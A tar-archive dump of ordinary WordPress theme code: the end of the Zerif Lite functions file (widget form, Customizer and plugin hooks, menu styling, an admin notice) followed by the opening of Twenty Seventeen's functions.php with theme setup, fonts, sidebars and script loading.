function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['name'] = sanitize_text_field( $new_instance['name'] );
$instance['position'] = stripslashes( wp_filter_post_kses( $new_instance['position'] ) );
$instance['description'] = stripslashes( wp_filter_post_kses( $new_instance['description'] ) );
$instance['fb_link'] = esc_url( $new_instance['fb_link'] );
$instance['tw_link'] = esc_url( $new_instance['tw_link'] );
$instance['bh_link'] = esc_url( $new_instance['bh_link'] );
$instance['db_link'] = esc_url( $new_instance['db_link'] );
$instance['ln_link'] = esc_url( $new_instance['ln_link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['open_new_window'] = strip_tags( $new_instance['open_new_window'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'name' ) . '">' . __( 'Name', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'name' ) . '" id="' . $this->get_field_id( 'name' ) . '" value="';
if ( ! empty( $instance['name'] ) ) {
echo $instance['name'];
}
echo '" class="widefat"/>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'position' ) . '">' . __( 'Position', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'position' ) . '" id="' . $this->get_field_id( 'position' ) . '">';
if ( ! empty( $instance['position'] ) ) {
echo htmlspecialchars_decode( $instance['position'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'description' ) . '">' . __( 'Description', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'description' ) . '" id="' . $this->get_field_id( 'description' ) . '">';
if ( ! empty( $instance['description'] ) ) {
echo htmlspecialchars_decode( $instance['description'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'fb_link' ) . '">' . __( 'Facebook link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'fb_link' ) . '" id="' . $this->get_field_id( 'fb_link' ) . '" value="';
if ( ! empty( $instance['fb_link'] ) ) {
echo $instance['fb_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'tw_link' ) . '">' . __( 'Twitter link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'tw_link' ) . '" id="' . $this->get_field_id( 'tw_link' ) . '" value="';
if ( ! empty( $instance['tw_link'] ) ) {
echo $instance['tw_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'bh_link' ) . '">' . __( 'Behance link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'bh_link' ) . '" id="' . $this->get_field_id( 'bh_link' ) . '" value="';
if ( ! empty( $instance['bh_link'] ) ) {
echo $instance['bh_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'db_link' ) . '">' . __( 'Dribble link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'db_link' ) . '" id="' . $this->get_field_id( 'db_link' ) . '" value="';
if ( ! empty( $instance['db_link'] ) ) {
echo $instance['db_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'ln_link' ) . '">' . __( 'Linkedin link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'ln_link' ) . '" id="' . $this->get_field_id( 'ln_link' ) . '" value="';
if ( ! empty( $instance['ln_link'] ) ) {
echo $instance['ln_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<input type="checkbox" name="' . $this->get_field_name( 'open_new_window' ) . '" id="' . $this->get_field_id( 'open_new_window' ) . '"';
if ( ! empty( $instance['open_new_window'] ) ) {
checked( (bool) $instance['open_new_window'], true );
}
echo '>' . __( 'Open links in new window?', 'zerif-lite' ) . '<br>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
/**
* Register CSS needed in customizer
*/
function zerif_customizer_custom_css() {
wp_enqueue_style( 'zerif_customizer_custom_css', get_template_directory_uri() . '/css/zerif_customizer_custom_css.css' );
}
add_action( 'customize_controls_print_styles', 'zerif_customizer_custom_css' );
add_filter( 'body_class', 'remove_class_function' );
/**
* Remove custom-background from body_class()
*/
function remove_class_function( $classes ) {
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
/* For new users with static page */
if ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) {
if ( ! is_front_page() && ! is_home() ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
} else {
if ( ! is_home() && ! is_page_template( 'template-frontpage.php' ) ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
}
return $classes;
}
add_action( 'customize_save_after', 'zerif_lite_update_options_in_pirate_forms', 99 );
/**
* Update Pirate Forms plugin when there is a change in Customizer Contact us section
*/
function zerif_lite_update_options_in_pirate_forms() {
/* if Pirate Forms is installed */
if ( defined( 'PIRATE_FORMS_VERSION' ) ) :
$zerif_lite_current_mods = get_theme_mods(); /* all theme modification values in Customize for Zerif Lite */
$pirate_forms_settings_array = get_option( 'pirate_forms_settings_array' ); /* Pirate Forms's options's array */
if ( ! empty( $zerif_lite_current_mods ) ) :
if ( isset( $zerif_lite_current_mods['zerif_contactus_button_label'] ) ) :
$pirate_forms_settings_array['pirateformsopt_label_submit_btn'] = $zerif_lite_current_mods['zerif_contactus_button_label'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_email'] ) ) :
$pirate_forms_settings_array['pirateformsopt_email'] = $zerif_lite_current_mods['zerif_contactus_email'];
$pirate_forms_settings_array['pirateformsopt_email_recipients'] = $zerif_lite_current_mods['zerif_contactus_email'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] ) && ( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] == 1 ) ) :
if ( isset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] ) ) :
unset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] );
endif;
else :
$pirate_forms_settings_array['pirateformsopt_recaptcha_field'] = 'yes';
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_sitekey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_sitekey'] = $zerif_lite_current_mods['zerif_contactus_sitekey'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_secretkey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_secretkey'] = $zerif_lite_current_mods['zerif_contactus_secretkey'];
endif;
endif;
if ( ! empty( $pirate_forms_settings_array ) ) :
update_option( 'pirate_forms_settings_array', $pirate_forms_settings_array ); /* Update the options */
endif;
endif;
}
/**
* Function to check if version 1.8.5 or less has been previously installed.
*/
function zerif_check_if_old_version_of_theme() {
$old_zerif_option = get_theme_mod( 'zerif_bigtitle_title' );
$old_zerif_option_2 = get_theme_mod( 'zerif_bigtitle_redbutton_label' );
$old_zerif_option_3 = get_theme_mod( 'zerif_ourfocus_title' );
if ( ! empty( $old_zerif_option ) || ! empty( $old_zerif_option_2 ) || ! empty( $old_zerif_option_3 ) ) {
return true;
}
return false;
}
/**
* Add starter content for fresh sites
*
* @since 1.8.5.12
*/
function zerif_starter_content() {
/*
* Starter Content Support
*/
add_theme_support(
'starter-content', array(
// Twenty Seventeen
'posts' => array(
'home',
'blog',
),
'nav_menus' => array(
'primary' => array(
'name' => __( 'Primary Menu', 'zerif-lite' ),
'items' => array(
'page_home',
'page_blog',
),
),
),
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
)
);
}
add_action( 'after_setup_theme', 'zerif_starter_content' );
/**
* Save activation time.
*/
function zerif_time_activated() {
update_option( 'zerif_time_activated', time() );
}
add_action( 'after_switch_theme', 'zerif_time_activated' );
/**
* BeaverBuilder Upgrade
*/
function zerif_bb_upgrade_link() {
return 'https://www.wpbeaverbuilder.com/?fla=101&campaign=zf';
}
add_filter( 'fl_builder_upgrade_url', 'zerif_bb_upgrade_link' );
/**
* Check if $no_seconds have passed since theme was activated.
* Used to perform certain actions, like adding a new recommended action in About Zerif page.
*
* @since 1.8.5.31
* @access public
* @return bool
*/
function zerif_check_passed_time( $no_seconds ) {
$activation_time = get_option( 'zerif_time_activated' );
if ( ! empty( $activation_time ) ) {
$current_time = time();
$time_difference = (int) $no_seconds;
if ( $current_time >= $activation_time + $time_difference ) {
return true;
} else {
return false;
}
}
return true;
}
add_action( 'woocommerce_before_checkout_form', 'zerif_coupon_after_order_table_js' );
/**
* Checkout page
* Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table_js() {
wc_enqueue_js(
'
$( $( "div.woocommerce-info, .checkout_coupon" ).detach() ).appendTo( "#zerif-checkout-coupon" );
'
);
}
add_action( 'woocommerce_checkout_order_review', 'zerif_coupon_after_order_table' );
/**
* Checkout page
* Add the id zerif-checkout-coupon to be able to Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table() {
echo '<div id="zerif-checkout-coupon"></div><div style="clear:both"></div>';
}
/**
* Max Mega Menu Zerif Theme
**/
function megamenu_add_theme_zerif_lite_max_menu( $themes ) {
$themes['zerif_lite_max_menu'] = array(
'title' => 'Zerif Lite',
'menu_item_align' => 'right',
'menu_item_link_height' => '70px',
'container_background_from' => 'rgb(255, 255, 255)',
'container_background_to' => 'rgb(255, 255, 255)',
'menu_item_background_hover_from' => 'rgb(255, 255, 255)',
'menu_item_background_hover_to' => 'rgb(255, 255, 255)',
'menu_item_link_font_size' => '15px',
'menu_item_link_color' => 'rgb(49, 49, 49)',
'menu_item_link_color_hover' => 'rgb(233, 102, 86)',
'menu_item_highlight_current' => 'off',
'panel_background_from' => 'rgb(255, 255, 255)',
'panel_background_to' => 'rgb(255, 255, 255)',
'panel_header_font_size' => '15px',
'panel_header_font_weight' => 'normal',
'panel_header_border_color' => '#555',
'panel_font_size' => '15px',
'panel_font_color' => 'rgb(49, 49, 49)',
'panel_font_color_hover' => 'rgb(233, 102, 86)',
'panel_font_family' => 'inherit',
'panel_second_level_font_color' => 'rgb(49, 49, 49)',
'panel_second_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_second_level_text_transform' => 'none',
'panel_second_level_font' => 'inherit',
'panel_second_level_font_size' => '15px',
'panel_second_level_font_weight' => 'normal',
'panel_second_level_font_weight_hover' => 'normal',
'panel_second_level_text_decoration' => 'none',
'panel_second_level_text_decoration_hover' => 'none',
'panel_second_level_padding_left' => '20px',
'panel_second_level_border_color' => '#555',
'panel_third_level_font_color' => 'rgb(49, 49, 49)',
'panel_third_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_third_level_font' => 'inherit',
'panel_third_level_font_size' => '15px',
'panel_third_level_padding_left' => '20px',
'flyout_background_from' => 'rgb(255, 255, 255)',
'flyout_background_to' => 'rgb(255, 255, 255)',
'flyout_background_hover_from' => 'rgb(255, 255, 255)',
'flyout_background_hover_to' => 'rgb(255, 255, 255)',
'flyout_link_size' => '15px',
'flyout_link_color' => 'rgb(49, 49, 49)',
'flyout_link_color_hover' => 'rgb(233, 102, 86)',
'flyout_link_family' => 'inherit',
'responsive_breakpoint' => '768px',
'resets' => 'on',
'toggle_background_from' => '#222',
'toggle_background_to' => '#222',
'toggle_font_color' => 'rgb(102, 102, 102)',
'mobile_background_from' => 'rgb(255, 255, 255)',
'mobile_background_to' => 'rgb(255, 255, 255)',
'mobile_menu_item_link_font_size' => '15px',
'mobile_menu_item_link_color' => 'rgb(102, 102, 102)',
'mobile_menu_item_link_text_align' => 'left',
);
return $themes;
}
add_filter( 'megamenu_themes', 'megamenu_add_theme_zerif_lite_max_menu' );
add_action( 'admin_notices', 'zerif_fagri_notice' );
/**
* Add a dismissible notice in the dashboard to let users know that we have a new child theme for Hestia, Fagri
* TODO: Remove this in a future release
*/
function zerif_fagri_notice() {
global $current_user;
$user_id = $current_user->ID;
/* Check that the user hasn't already clicked to ignore the message */
if ( ! get_user_meta( $user_id, 'zerif_ignore_fagri_notice' ) ) {
echo '<div class="notice updated" style="position:relative;">';
printf( '<a href="%s" class="notice-dismiss" style="text-decoration:none;"></a>', '?zerif_nag_ignore_fagri=0' );
echo '<p>';
/* translators: Install Fagri link */
printf( esc_html__( 'We just launched a new free %s, you might like it.', 'zerif-lite' ), sprintf( '<a href="%1$s">%2$s</a>', admin_url( 'theme-install.php?theme=fagri' ), esc_html__( 'theme', 'zerif-lite' ) ) );
echo '</p>';
echo '</div>';
}
}
add_action( 'admin_init', 'zerif_nag_ignore_fagri' );
/**
* Update the zerif_ignore_fagri_notice option to true, to dismiss the notice from the dashboard
*/
function zerif_nag_ignore_fagri() {
global $current_user;
$user_id = $current_user->ID;
/* If user clicks to ignore the notice, add that to their user meta */
if ( isset( $_GET['zerif_nag_ignore_fagri'] ) && '0' == $_GET['zerif_nag_ignore_fagri'] ) {
add_user_meta( $user_id, 'zerif_ignore_fagri_notice', 'true', true );
}
}
home/xbodynamge/crosstraining/wp-content/themes/twentyseventeen/functions.php 0000604 00000046354 15113364616 0024107 0 ustar 00 <?php
/**
* Twenty Seventeen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Seventeen
* @since 1.0
*/
/**
* Twenty Seventeen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentyseventeen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyseventeen
* If you're building a theme based on Twenty Seventeen, use a find and replace
* to change 'twentyseventeen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentyseventeen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
add_image_size( 'twentyseventeen-featured-image', 2000, 1200, true );
add_image_size( 'twentyseventeen-thumbnail-avatar', 100, 100, true );
// Set the default content width.
$GLOBALS['content_width'] = 525;
// This theme uses wp_nav_menu() in two locations.
register_nav_menus( array(
'top' => __( 'Top Menu', 'twentyseventeen' ),
'social' => __( 'Social Links Menu', 'twentyseventeen' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'comment-form',
'comment-list',
'gallery',
'caption',
) );
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'audio',
) );
// Add theme support for Custom Logo.
add_theme_support( 'custom-logo', array(
'width' => 250,
'height' => 250,
'flex-width' => true,
) );
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, and column width.
*/
add_editor_style( array( 'assets/css/editor-style.css', twentyseventeen_fonts_url() ) );
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
// Define and register starter content to showcase the theme on new sites.
$starter_content = array(
'widgets' => array(
// Place three core-defined widgets in the sidebar area.
'sidebar-1' => array(
'text_business_info',
'search',
'text_about',
),
// Add the core-defined business info widget to the footer 1 area.
'sidebar-2' => array(
'text_business_info',
),
// Put two core-defined widgets in the footer 2 area.
'sidebar-3' => array(
'text_about',
'search',
),
),
// Specify the core-defined pages to create and add custom thumbnails to some of them.
'posts' => array(
'home',
'about' => array(
'thumbnail' => '{{image-sandwich}}',
),
'contact' => array(
'thumbnail' => '{{image-espresso}}',
),
'blog' => array(
'thumbnail' => '{{image-coffee}}',
),
'homepage-section' => array(
'thumbnail' => '{{image-espresso}}',
),
),
// Create the custom image attachments used as post thumbnails for pages.
'attachments' => array(
'image-espresso' => array(
'post_title' => _x( 'Espresso', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/espresso.jpg', // URL relative to the template directory.
),
'image-sandwich' => array(
'post_title' => _x( 'Sandwich', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/sandwich.jpg',
),
'image-coffee' => array(
'post_title' => _x( 'Coffee', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/coffee.jpg',
),
),
// Default to a static front page and assign the front and posts pages.
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
// Set the front page section theme mods to the IDs of the core-registered pages.
'theme_mods' => array(
'panel_1' => '{{homepage-section}}',
'panel_2' => '{{about}}',
'panel_3' => '{{blog}}',
'panel_4' => '{{contact}}',
),
// Set up nav menus for each of the two areas registered in the theme.
'nav_menus' => array(
// Assign a menu to the "top" location.
'top' => array(
'name' => __( 'Top Menu', 'twentyseventeen' ),
'items' => array(
'link_home', // Note that the core "home" page is actually a link in case a static front page is not used.
'page_about',
'page_blog',
'page_contact',
),
),
// Assign a menu to the "social" location.
'social' => array(
'name' => __( 'Social Links Menu', 'twentyseventeen' ),
'items' => array(
'link_yelp',
'link_facebook',
'link_twitter',
'link_instagram',
'link_email',
),
),
),
);
/**
* Filters Twenty Seventeen array of starter content.
*
* @since Twenty Seventeen 1.1
*
* @param array $starter_content Array of starter content.
*/
$starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content );
add_theme_support( 'starter-content', $starter_content );
}
add_action( 'after_setup_theme', 'twentyseventeen_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function twentyseventeen_content_width() {
$content_width = $GLOBALS['content_width'];
// Get layout.
$page_layout = get_theme_mod( 'page_layout' );
// Check if layout is one column.
if ( 'one-column' === $page_layout ) {
if ( twentyseventeen_is_frontpage() ) {
$content_width = 644;
} elseif ( is_page() ) {
$content_width = 740;
}
}
// Check if is single post and there is no sidebar.
if ( is_single() && ! is_active_sidebar( 'sidebar-1' ) ) {
$content_width = 740;
}
/**
* Filter Twenty Seventeen content width of the theme.
*
* @since Twenty Seventeen 1.0
*
* @param int $content_width Content width in pixels.
*/
$GLOBALS['content_width'] = apply_filters( 'twentyseventeen_content_width', $content_width );
}
add_action( 'template_redirect', 'twentyseventeen_content_width', 0 );
/**
* Register custom fonts.
*/
function twentyseventeen_fonts_url() {
$fonts_url = '';
/*
* Translators: If there are characters in your language that are not
* supported by Libre Franklin, translate this to 'off'. Do not translate
* into your own language.
*/
$libre_franklin = _x( 'on', 'Libre Franklin font: on or off', 'twentyseventeen' );
if ( 'off' !== $libre_franklin ) {
$font_families = array();
$font_families[] = 'Libre Franklin:300,300i,400,400i,600,600i,800,800i';
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return esc_url_raw( $fonts_url );
}
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Seventeen 1.0
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function twentyseventeen_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'twentyseventeen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'twentyseventeen_resource_hints', 10, 2 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentyseventeen_widgets_init() {
register_sidebar( array(
'name' => __( 'Blog Sidebar', 'twentyseventeen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar on blog posts and archive pages.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Footer 1', 'twentyseventeen' ),
'id' => 'sidebar-2',
'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Footer 2', 'twentyseventeen' ),
'id' => 'sidebar-3',
'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'twentyseventeen_widgets_init' );
/**
* Replaces "[...]" (appended to automatically generated excerpts) with ... and
* a 'Continue reading' link.
*
* @since Twenty Seventeen 1.0
*
* @param string $link Link to single post/page.
* @return string 'Continue reading' link prepended with an ellipsis.
*/
function twentyseventeen_excerpt_more( $link ) {
if ( is_admin() ) {
return $link;
}
$link = sprintf( '<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
esc_url( get_permalink( get_the_ID() ) ),
/* translators: %s: Name of current post */
sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )
);
return ' … ' . $link;
}
add_filter( 'excerpt_more', 'twentyseventeen_excerpt_more' );
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Seventeen 1.0
*/
function twentyseventeen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentyseventeen_javascript_detection', 0 );
/**
* Add a pingback url auto-discovery header for singularly identifiable articles.
*/
function twentyseventeen_pingback_header() {
if ( is_singular() && pings_open() ) {
printf( '<link rel="pingback" href="%s">' . "\n", get_bloginfo( 'pingback_url' ) );
}
}
add_action( 'wp_head', 'twentyseventeen_pingback_header' );
/**
* Display custom color CSS.
*/
function twentyseventeen_colors_css_wrap() {
if ( 'custom' !== get_theme_mod( 'colorscheme' ) && ! is_customize_preview() ) {
return;
}
require_once( get_parent_theme_file_path( '/inc/color-patterns.php' ) );
$hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
?>
<style type="text/css" id="custom-theme-colors" <?php if ( is_customize_preview() ) { echo 'data-hue="' . $hue . '"'; } ?>>
<?php echo twentyseventeen_custom_colors_css(); ?>
</style>
<?php }
add_action( 'wp_head', 'twentyseventeen_colors_css_wrap' );
/**
* Enqueue scripts and styles.
*/
function twentyseventeen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
// Theme stylesheet.
wp_enqueue_style( 'twentyseventeen-style', get_stylesheet_uri() );
// Theme block stylesheet.
wp_enqueue_style( 'twentyseventeen-block-style', get_theme_file_uri( '/assets/css/blocks.css' ), array( 'twentyseventeen-style' ), '1.0' );
// Load the dark colorscheme.
if ( 'dark' === get_theme_mod( 'colorscheme', 'light' ) || is_customize_preview() ) {
wp_enqueue_style( 'twentyseventeen-colors-dark', get_theme_file_uri( '/assets/css/colors-dark.css' ), array( 'twentyseventeen-style' ), '1.0' );
}
// Load the Internet Explorer 9 specific stylesheet, to fix display issues in the Customizer.
if ( is_customize_preview() ) {
wp_enqueue_style( 'twentyseventeen-ie9', get_theme_file_uri( '/assets/css/ie9.css' ), array( 'twentyseventeen-style' ), '1.0' );
wp_style_add_data( 'twentyseventeen-ie9', 'conditional', 'IE 9' );
}
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentyseventeen-ie8', get_theme_file_uri( '/assets/css/ie8.css' ), array( 'twentyseventeen-style' ), '1.0' );
wp_style_add_data( 'twentyseventeen-ie8', 'conditional', 'lt IE 9' );
// Load the html5 shiv.
wp_enqueue_script( 'html5', get_theme_file_uri( '/assets/js/html5.js' ), array(), '3.7.3' );
wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentyseventeen-skip-link-focus-fix', get_theme_file_uri( '/assets/js/skip-link-focus-fix.js' ), array(), '1.0', true );
$twentyseventeen_l10n = array(
'quote' => twentyseventeen_get_svg( array( 'icon' => 'quote-right' ) ),
);
if ( has_nav_menu( 'top' ) ) {
wp_enqueue_script( 'twentyseventeen-navigation', get_theme_file_uri( '/assets/js/navigation.js' ), array( 'jquery' ), '1.0', true );
$twentyseventeen_l10n['expand'] = __( 'Expand child menu', 'twentyseventeen' );
$twentyseventeen_l10n['collapse'] = __( 'Collapse child menu', 'twentyseventeen' );
$twentyseventeen_l10n['icon'] = twentyseventeen_get_svg( array( 'icon' => 'angle-down', 'fallback' => true ) );
}
wp_enqueue_script( 'twentyseventeen-global', get_theme_file_uri( '/assets/js/global.js' ), array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'jquery-scrollto', get_theme_file_uri( '/assets/js/jquery.scrollTo.js' ), array( 'jquery' ), '2.1.2', true );
wp_localize_script( 'twentyseventeen-skip-link-focus-fix', 'twentyseventeenScreenReaderText', $twentyseventeen_l10n );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' );
/**
* Enqueue styles for the block-based editor.
*
* @since Twenty Seventeen 1.8
*/
function twentyseventeen_block_editor_styles() {
// Block styles.
wp_enqueue_style( 'twentyseventeen-block-editor-style', get_theme_file_uri( '/assets/css/editor-blocks.css' ) );
// Add custom fonts.
wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
}
add_action( 'enqueue_block_editor_assets', 'twentyseventeen_block_editor_styles' );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images.
*
* @since Twenty Seventeen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentyseventeen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 740 <= $width ) {
$sizes = '(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px';
}
if ( is_active_sidebar( 'sidebar-1' ) || is_archive() || is_search() || is_home() || is_page() ) {
if ( ! ( is_page() && 'one-column' === get_theme_mod( 'page_options' ) ) && 767 <= $width ) {
$sizes = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentyseventeen_content_image_sizes_attr', 10, 2 );
/**
* Filter the `sizes` value in the header image markup.
*
* @since Twenty Seventeen 1.0
*
* @param string $html The HTML image tag markup being filtered.
* @param object $header The custom header object returned by 'get_custom_header()'.
* @param array $attr Array of the attributes for the image tag.
* @return string The filtered header image HTML.
*/
